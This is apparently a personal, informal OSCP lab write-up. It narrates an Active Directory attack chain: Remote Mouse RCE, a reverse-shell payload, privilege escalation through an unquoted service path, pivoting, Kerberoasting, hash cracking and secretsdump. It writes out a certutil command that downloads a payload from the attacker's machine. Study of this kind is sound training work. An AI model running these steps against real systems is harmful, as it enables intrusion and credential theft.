# DerronC: Active Directory Attack Path 1 Wilkommen! This is most certainly not any sort of documentation that follows the rules of submission for the OSCP. Professionalism? None. Frustration? Yes. Hotel? Trivago. However, this does track the steps (and potentially emotions) of someone attempting an AD box for the OSCP. It's really more stream-of-consciousness note-taking as I try and learn - with some attempts at organisation where I might add things after the fact. This introduction section being an example of that. *(Attempts at organising will eventually break down sometime later - as note-taking is linear, but some processes in Pen Testing can run in parallel)* The steps mostly(99.99%) follow DerronC's genuinely wonderful [guide](https://youtu.be/gY_9Dncjw-s) ## Pre-attack steps We want to be as organised as possible (I hear it's really useful and makes life easier, but you do you if you don't want to). Make a directory where everything else goes. Inside that directory I am going to make 4 directories - enu - enumeration - files - any files we find - exploits - for any exploits we might need to download - loot - for the flags we need to find ![image](https://hackmd.io/_uploads/SkE5vCU-R.png) *Note: DerronC organises things according to the machines available - so he has ms01, ms02, and dc01 folders, and then the four folders above - but I want to assume that I have no information on how many machines might be in the lab when I begin* ## Reconaissance We ran `sudo netdiscover -r 172.16.66.0/24` to see if any hosts were up - but this yielded no results ![image](https://hackmd.io/_uploads/BJDrtCU-A.png) However, `sudo nmap -sn 172.16.66.0/24` yielded 3 hosts ![image](https://hackmd.io/_uploads/r1JYKA8-A.png) - 172.16.66.1 -> we know this to be the default gateway for this network - 172.16.66.105 -> This is our attacking machine - 172.16.66.201 -> HMMMM... We WoNdEr WhAt ThIs CoUlD bE? ## 172.16.66.201 ### Initial Scan Let's enumerate this ![image](https://hackmd.io/_uploads/SyIIcALW0.png) ![image](https://hackmd.io/_uploads/H1Q9i08bA.png) We see a whole host ports there. One of the first things we might notice is that there is probably a webserver being run due to the presence of 80 and 443. So we can run gobuster for some Directory Bruteforcing ### Webserver #### Directory Bruteforcing Naturally, we first have to install gobuster because I forgot to - classic me! ![image](https://hackmd.io/_uploads/S1QB6RUZC.png) ![image](https://hackmd.io/_uploads/B1y8TRUWR.png) Using gobuster in conjunction with its common wordlist ![image](https://hackmd.io/_uploads/S1FzCALZ0.png) Tee will also save the output to the file - however, we like the pretty colours, so let's do that again without tee ![image](https://hackmd.io/_uploads/ryqj6AU-A.png) Results: ![image](https://hackmd.io/_uploads/SkdvARLbA.png) At first we won't be as interested in the 403 (Access Denied), but we note the 301s and 200s. - 200s - it's a favicon! yay... - 301s - we see a dashboard - and also an uploads directory. This could hold something interesting for us - We might also be able to do some exploitation by uploading something there? We can click through the links - Dashboard will bring us to the dashboard we see below - imgs will just show us two images used on the welcome page - Let's see where uploads leads to ![image](https://hackmd.io/_uploads/SyFKQ1PbA.png) We discover an interesting file ![image](https://hackmd.io/_uploads/S129mkv-0.png) Let's save it into our files directory ![image](https://hackmd.io/_uploads/HyYRQkvb0.png) We use exiftool to get more information on the file ![image](https://hackmd.io/_uploads/H1UmT1w-A.png) ![image](https://hackmd.io/_uploads/r1vvpyDZR.png) - The file name is some string - It is a Windows 32 executab;e - PE32 = Portable Executable - It is on the Windows GUI subsystem - We see it is an installer - We also have the company name, product, and version! #### Manual Enumeration We access the webserver ![image](https://hackmd.io/_uploads/rJ8KZkw-A.png) We can tell it's XAMPP for Windows - so this is a windows server. We can't access the phpMyAdmin - but the error message does tell us what version of Apache this is ![image](https://hackmd.io/_uploads/rJjkGJDWR.png) We can also access phpInfo ![image](https://hackmd.io/_uploads/SkefMJD-R.png) In phpInfo, we also can find interesting things like in the PHP Variables section ![image](https://hackmd.io/_uploads/HkiqMJDW0.png) We see that the document root is in C:/xampp/htdocs ![image](https://hackmd.io/_uploads/SyG6zkvWR.png) This provides us a better understanding of the file structure as it's not in a default Program Files folder. ### Service Fingerprinting ![image](https://hackmd.io/_uploads/ryc9Jkv-0.png) We can see a bunch of ports there so let's run an nmap scan with fingerprinting scripts on just those ports ![image](https://hackmd.io/_uploads/BJiDxkPZ0.png) We're running -sCV: -sC: Performs a script scan using the default set of scripts. It is equivalent to --script=default. Some of the scripts in this category are considered intrusive and should not be run against a target network without permission. -sV (Version detection): Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things. Results ![image](https://hackmd.io/_uploads/By3nR1PW0.png) - We can see that 80 and 443 are probably running the same service just on different ports ![image](https://hackmd.io/_uploads/S1r1elwbA.png) - We still don't know what's running on ports 1978 to 1980 - 1978 did return some fingerprint strings - And for every fingerprint string we sent, it returned the same response: SIN 15win nop nop 300 - 1979 and 1980 returned nothing ### Files Enumeration We can use searchsploit to find information about the executable installer we found ![image](https://hackmd.io/_uploads/HyQ2elwWA.png) It looks like we have local priv esc and also RCE Let's have a look at the RCE exploit ![image](https://hackmd.io/_uploads/HJzVWxwZ0.png) - We see that Remote Mouse will execute any command any machine gives it Looking at the script ![image](https://hackmd.io/_uploads/B1X9-ePWA.png) We see a few familiar things - It attempts to connect to port 1978 (which we found was open earlier) - If it recieves "SIN 15win nop nop 300" then it returns True - this is the exact string we found earlier as well ![image](https://hackmd.io/_uploads/ryErzxwWC.png) We also see the index of keycodes ![image](https://hackmd.io/_uploads/H1UXXxvZR.png) And the main function ![image](https://hackmd.io/_uploads/S1JBmgDZ0.png) In main we see that if the Ping function from above evaluates to true then the PopCalc function triggers. And PopCalc: - moves the mouse to the bottom left of the screen - Initiates a left click (on a windows machine this is probably the start menu) - Sends the string calc.exe - Hits enter - and then tells us that calc.exe has run on target. However, That won't help us so we need to adjust the script to make it do what we want. We probably need to generate a shell for that ### Exploitation We would need a payload to generate a shell. We could try and use CertUtil to transfer the payload from our Kali box to the WC1 machine, and then have a reverse shell Let's first download the exploit since it looks like a match ![image](https://hackmd.io/_uploads/SkxcVewZA.png) #### Payload ![image](https://hackmd.io/_uploads/ryDzLgwZR.png) - We are using the 64-bit windows shell reverse tcp payload - lhost is our machine's ip - For lport - we know that the firewall is on, so just using any port leads to a higher chance of the traffic to that port being blocked - However, dst ports like 443 will probably still be let through. - We need to select a format - executable will do - and also the output file Once ready we will serve the payload executable on a webserver using python ![image](https://hackmd.io/_uploads/r1wAenO-C.png) To get the target machine to download the payload we are going to modify the exploit ![image](https://hackmd.io/_uploads/Bybmb2d-C.png) ![image](https://hackmd.io/_uploads/HkvNb3OZA.png) Change to: ![image](https://hackmd.io/_uploads/HkZEmhuZC.png) - We are using the command "certutil.exe -urlcache -f http://172.16.66.105/winrev443.exe \users\public\winrev443/exe" - Command Breakdown: - certutil.exe: The main executable for the CertUtil program, which is a utility for managing certificates, certificate revocation lists (CRLs), and certificate stores in Windows. - -urlcache: This option allows CertUtil to interact with the URL cache. The URL cache service in Windows caches web pages accessed over HTTP and HTTPS protocols to improve performance on subsequent accesses to the same pages. - -f: This switch forces CertUtil to overwrite any existing file in the destination path. - DerronC notes that most people like to save files into \windows\temp - however, he prefers to save into \users\public as it is also publicly writeable We run the command and we will know it was successful when we see the response on our http server ![image](https://hackmd.io/_uploads/BJoGVhd-A.png) So now we know the payload has been downloaded to the machine. To trigger the payload, we will set up a listener and then adjust the script of the exploit again 1. Adjust script to access and trigger the payload ![image](https://hackmd.io/_uploads/H1shLnObA.png) 2. Start listener ![image](https://hackmd.io/_uploads/ryOkP2d-A.png) 3. Execute - and we're in! ![image](https://hackmd.io/_uploads/Byngd2OZC.png) 4. Let's have a look at what privileges we have ![image](https://hackmd.io/_uploads/r148u2_WA.png) - We notice that lucy has SeShutdownPrivilege disabled, and the explanation of what this means is ENTIRELY counterintuitive (a lot like how we have to enable DisableRealTimeMonitoring - I mean, come on!) - This actually provides a better explanation: https://juggernaut-sec.com/weak-service-file-permissions/ - But essentially, if we want to exploit a task or service on statup - we can do that by restarting the machine 5. We also want to see who are the local users and administrator groups ![image](https://hackmd.io/_uploads/ryXnT2OZR.png) - We also notice there is a Domain Admins group and that entry verifies that this machine is attached to a domain. 6. Our next steps will be to download winPEAS, load it onto the victim machine and run it - We will still have to do some manual enumeration - But, we can get the majority of our info from winPEAS, which is a great tool and also because time is not on our side 7. Before we go ahead - let's look for any loot we might find as lucy After some looking around - we find it on the desktop ![image](https://hackmd.io/_uploads/SkRbmJYbA.png) We can save it (we should - unless you fancy memorizing a few 32 character strings) ![image](https://hackmd.io/_uploads/H1XrQyKZA.png) #### winPEAS Download ![image](https://hackmd.io/_uploads/S10fbTuWC.png) ![image](https://hackmd.io/_uploads/r1nUbT_-C.png) Stage ![image](https://hackmd.io/_uploads/SkriZ6u-0.png) Download on WC1 ![image](https://hackmd.io/_uploads/H12nfpubR.png) Execute ![image](https://hackmd.io/_uploads/HJT8S6u-C.png) ![image](https://hackmd.io/_uploads/S1MYBT_bR.png) We want to look at anything highlighted in Red (or in my case pink because of my terminal colour settings - but [pink is not real](https://www.youtube.com/watch?v=S9dqJRyk0YM)). Basic System Information ![image](https://hackmd.io/_uploads/rJVC86db0.png) Windows Vulns (by Watson) ![image](https://hackmd.io/_uploads/r1qMPaOb0.png) - In this case, these are handy to take note of. - If nothing we have tried everyhting else, and enumerated everything else - kernel exploits are good options System Environment Variables ![image](https://hackmd.io/_uploads/HkuFvpdWA.png) - Worth looking at, but nothing stands out in this one Cached Logons - we see that there are some cached logons ![image](https://hackmd.io/_uploads/rkuhDTdW0.png) PWSH History ![image](https://hackmd.io/_uploads/Hy70PpOWC.png) - Nothing here for this one Enumerating NTLM Settings ![image](https://hackmd.io/_uploads/HJDMdTdbR.png) - NTLMv2 - tells us what kind of passwords we expect - We need to crack the passwords and won't be able to pass the hashes Users ![image](https://hackmd.io/_uploads/SkUAOTd-C.png) - No local administrator accouns are available - We will probably need domain admin acounts to escalate privileges Ever Logged Users ![image](https://hackmd.io/_uploads/B1wDF6OWR.png) - We see that a domain user has logged on (and also an administrator in this case) - This is also confirmed in the present home folders ![image](https://hackmd.io/_uploads/rJdWOAdbA.png) Autologon Credentials ![image](https://hackmd.io/_uploads/HyDEd0OWC.png) Services Information - can find useful things here ![image](https://hackmd.io/_uploads/S14Cu0dW0.png) - If we look at wisebootassistant, we see that not only does it have spaces and no quotes, but that we also have file permissions to read and write. - We will create an executable and give it a name that takes advantage of unquoted service paths #### Priv Esc using Unquoted Service Path Since we already have a payload on the machine, we are going to rename it to move it to folder that Wise Boot 365 is in, and then rename the payload to Wise - so that it triggers when we restart the box. ![image](https://hackmd.io/_uploads/BJLkJktWR.png) ![image](https://hackmd.io/_uploads/r1gz4ykKZ0.png) If we inspec tthe configuration using `sc qc` we can see that wise will trigger under the local system user - which is what we want ![image](https://hackmd.io/_uploads/r18Vx1YZA.png) So let's set it to reboot in 1 second and quickly start a listener on 443 - and as quickly as I set the listener the bloody app took quite a bit of time to start up. But we did it - in the end we got a shell as the system user ![image](https://hackmd.io/_uploads/rkmXMkt-C.png) We can then find the administrator's loot ![image](https://hackmd.io/_uploads/SJctQ1KZC.png) and save that as well ![image](https://hackmd.io/_uploads/SklCmkFbC.png) #### Extra proofs ![image](https://hackmd.io/_uploads/BJDloyFbC.png) #### Make sure we are keeping some sweet notes ![image](https://hackmd.io/_uploads/H1rn6JFbR.png) Honestly, I would be keeping all the notes in Cherry Tree - with subnodes for each machine where I would store the results of scans and loot etc etc - but I'm currently also doing all that here in this document (which I'm fairly certain is also documenting my further deescent into insnaity). Something like this: ![image](https://hackmd.io/_uploads/Hk--PgYW0.png) #### Some additional stuff One of the things I tried was using the command DerronC used to find the txt files, but with a wildcard character ![image](https://hackmd.io/_uploads/BkDACJKWC.png) And this gave me a lot of results - but at the bottom of the results I found these - which are the initial local user proof and also wyldstyle's powershell history ![image](https://hackmd.io/_uploads/SyAlygtZA.png) ### Create pivot point #### Initial Manual enumeration We need to further enumerate WC1 to find breadcrumbs for pivoting into the AD We saw wyldstyle's home directory available earlier so we are going to look there. ![image](https://hackmd.io/_uploads/ryqL4etZ0.png) We run some searches to find log files and txt files ![image](https://hackmd.io/_uploads/S1nsVgFW0.png) We see that wyldstyle has a console history - that's of interest as it might have some clues for us ![image](https://hackmd.io/_uploads/Hkp-SgtW0.png) - Sure enough, we find that wyldstyle has attempted to connect to some machine called WC03 and has left his username and password in the console history #### [ligolo-NG](https://github.com/nicocha30/ligolo-ng) ##### Download We need to download 2 things: 1. An agent we will be running on the windows ![image](https://hackmd.io/_uploads/B1aaWDtZC.png) 2. Proxy which we will be running on our Kali VM ![image](https://hackmd.io/_uploads/Sk1zzDtWC.png) Move files to folder and extract - Agent ![image](https://hackmd.io/_uploads/Bku9fwFWA.png) - Proxy ![image](https://hackmd.io/_uploads/S1qkQvF-R.png) ##### Setup Move the proxy to /usr/bin and check that we can access via command line ![image](https://hackmd.io/_uploads/HycrmPK-0.png) Follow setup guide: Create tun interface on proxy server ![image](https://hackmd.io/_uploads/rkk27wtZC.png) ![image](https://hackmd.io/_uploads/BJ6A7DK-A.png) ![image](https://hackmd.io/_uploads/SyIg4DKbC.png) Check status ![image](https://hackmd.io/_uploads/Syv7NvFZA.png) Serving up agent to download from webserver ![image](https://hackmd.io/_uploads/Hy_JrwFZA.png) ![image](https://hackmd.io/_uploads/BkyfHDFZC.png) ##### Use Start proxy server ![image](https://hackmd.io/_uploads/SJZE3N9-R.png) It starts running and here, listening on port 11602 ![image](https://hackmd.io/_uploads/ByQUhNcbC.png) Connect from agent ![image](https://hackmd.io/_uploads/ByYZTVc-0.png) Connected ![image](https://hackmd.io/_uploads/S1776NcWA.png) We have a session ![image](https://hackmd.io/_uploads/rJe4YTV9ZC.png) ligolo ifconfig ![image](https://hackmd.io/_uploads/B1ToaNcZ0.png) To create a tunnel to pivot we simply type in start ![image](https://hackmd.io/_uploads/rkWkAN9ZR.png) No we have the agent and the proxy server running We need to tell our kali to use the route through the tunnel ![image](https://hackmd.io/_uploads/rkG11ScbA.png) ## Scanning the 192.16.99.0/24 network When we try to scan the network, netdiscover gives us nothing and nmap -sn gives us... everything - or at least it tells us that all the hosts are up. Which we can surmise is probably not true. ![image](https://hackmd.io/_uploads/S10BpB5-C.png) Nmap giving real golden retriever energy by wagging its tail at every host as if they were ALL up ![image](https://hackmd.io/_uploads/Sk6geUqbC.png) Down boy! Again, I didn't want to assume that I knew what the IPs and machines where so, since I knew how to get an admin shell into the machine I decided to use `arp -a` - I do not know if this is the right way to do this, but hey, it worked a litte ![image](https://hackmd.io/_uploads/ryBYC2cbC.png) We can see in the 192.168.99.0/24 network we have a .1, .2, and .212 machines. Let's start by scanning the .2 machine ![image](https://hackmd.io/_uploads/Hkn_1acbA.png) ![image](https://hackmd.io/_uploads/BJNM-pcWR.png) ![image](https://hackmd.io/_uploads/BJHQZT9-A.png) One of the things to notice is definitely the NetBIOS name of DC01. We can run the same command for .212 simultaneously ![image](https://hackmd.io/_uploads/B1rb1Mi-R.png) Another thing we can do is have a look at the shares available ![image](https://hackmd.io/_uploads/r1uifac-C.png) Wel, well, well, what do we have here - backups? that's not a standard share AT ALL. Someone's being a careless little boy. We have a look ![image](https://hackmd.io/_uploads/Bys4AZo-R.png) And similarly for .212 - which we checked since port 445 did turn up as open on our scan ![image](https://hackmd.io/_uploads/Byjt1zsb0.png) And we see a non-default share called setup - let's try and access that ![image](https://hackmd.io/_uploads/Bk6xWzoZ0.png) Interesting - this isn't entirely helpful to us, but it does let us know that we have access via smb so potential vector with psexec once we get admin credentials, or we might get different listings with different credentials ## Kerbroasting and AS-REP Roasting ### Discovery ![image](https://hackmd.io/_uploads/ryB_EzoW0.png) Ooooh. Look at that - we found a service user with a service principal name attached to it. What does this mean? I don't know yet because I have the video guide paused so I can type this. Ah, it means we can query and get it's hash. Copy and save ![image](https://hackmd.io/_uploads/HkB4SGjZR.png) Hashid does not recognise this ![image](https://hackmd.io/_uploads/BJxKBGiW0.png) Let's see if we have an rep roastable users well, well, well ![image](https://hackmd.io/_uploads/rkQaSMsWA.png) also "unknown" - hashid really not living up to its name ![image](https://hackmd.io/_uploads/S1Hf8GoZC.png) Yay - time to pass the hashes! What's that you say? I can't pass these hashes because they are note ntlm, rather ntlmv2? Damn, I really huld have remembered that little tidbit from when we were going over the result of winPEAS. 😉 However, we can try to crack them ![image](https://hackmd.io/_uploads/r1dT8fiZR.png) ![image](https://hackmd.io/_uploads/SkDZwzjbR.png) Oh no that didn't work - let's add on a ruleset ![image](https://hackmd.io/_uploads/rJ_UwfiZ0.png) And it turns out that didn't lead anywhere - but I guess process of elimination amiright? (I am - but only because people WAY smarter than me are right) ![image](https://hackmd.io/_uploads/By9Dqfs-0.png) Let's try hashcatting the svc_iis hash instead ![image](https://hackmd.io/_uploads/Sy-29fj-0.png) Hello there! ![image](https://hackmd.io/_uploads/rJk09fi-R.png) ### CME Make these two files ![image](https://hackmd.io/_uploads/HJ8mhGsZC.png) ![image](https://hackmd.io/_uploads/B1-s3zoWA.png) ![image](https://hackmd.io/_uploads/B1ka2fsbC.png) Okay so we can log on with smb but still no admina access ### Back to SMB With svc_iis we get some sweet access ![image](https://hackmd.io/_uploads/ByH7TMjWA.png) Let's get that file ![image](https://hackmd.io/_uploads/B1ESaGsbR.png) Extract it - oh! We need a password ![image](https://hackmd.io/_uploads/HJnvTMibR.png) Let's use zip2john ![image](https://hackmd.io/_uploads/BylMAfjW0.png) Now John that bad boy ![image](https://hackmd.io/_uploads/HJ5VAGsZR.png) [BOOM! Headshot!](https://youtu.be/olm7xC-gBMY?si=SOWcmCHJbGl-dJ6b&t=10) And here we go ![image](https://hackmd.io/_uploads/ByfM1QjWA.png) Adjust files ![image](https://hackmd.io/_uploads/SyXyxQs-A.png) ![image](https://hackmd.io/_uploads/Hy4MeQsbC.png) ![image](https://hackmd.io/_uploads/S1kXlQo-A.png) ![image](https://hackmd.io/_uploads/r1vmxXsZA.png) ![image](https://hackmd.io/_uploads/SyfVlmi-A.png) WELL WELL WELL Looks like we have an admin account for WC2 - we don't even need to priv esc Let's use psexec ![image](https://hackmd.io/_uploads/B1oTxmiZC.png) ![image](https://hackmd.io/_uploads/BJGyZ7iW0.png) Do we find any loooooooot? ![image](https://hackmd.io/_uploads/SkLf-msbR.png) ![image](https://hackmd.io/_uploads/ryHS-Qs-A.png) ![image](https://hackmd.io/_uploads/SymUWXobA.png) ![image](https://hackmd.io/_uploads/HyKsZQjbR.png) ![image](https://hackmd.io/_uploads/SJXabQsW0.png) ### More digging around ![image](https://hackmd.io/_uploads/Sy9QFwiZC.png) ![image](https://hackmd.io/_uploads/SJivYPj-R.png) Looks like our boy lord_business is all up in the domain's business with excessive admin assignments. Since he's a domain admin, we definitely want to see if we can get more from lord_business - using secretsdump ![image](https://hackmd.io/_uploads/HykL5DoZ0.png) Let's fking GOOOOOOOOOOOOOOO ![image](https://hackmd.io/_uploads/HJTC5DoZ0.png) We also found the nt hash for lord business which we could pass-the-hash with - but in this case we don't even need it Turns out we were wrong and that's not an NT hash - oh well - good thing we have that sweet password ![image](https://hackmd.io/_uploads/SJrJ3DoZA.png) THREE HOLES IN THE GROUND (well, well, well) ![image](https://hackmd.io/_uploads/S1-Shwib0.png) ![image](https://hackmd.io/_uploads/B12DhwoZC.png) Nothing on his desktop ![image](https://hackmd.io/_uploads/HJdtnviW0.png) Maybe somewhere here? ![image](https://hackmd.io/_uploads/H1Yh2Di-R.png) Hello there! ![image](https://hackmd.io/_uploads/r1ExTPjbC.png) Look at all this proof of pwnage - yum yum ![image](https://hackmd.io/_uploads/S1v5TwjZ0.png) Using evil-winrm we can also download proof.txt ![image](https://hackmd.io/_uploads/ryg0aPjZR.png) ![image](https://hackmd.io/_uploads/ry6VCDoWR.png) ## Attempt to be organised in a way more in line with writing the OSCP report ![image](https://hackmd.io/_uploads/ByL2CPsbR.png)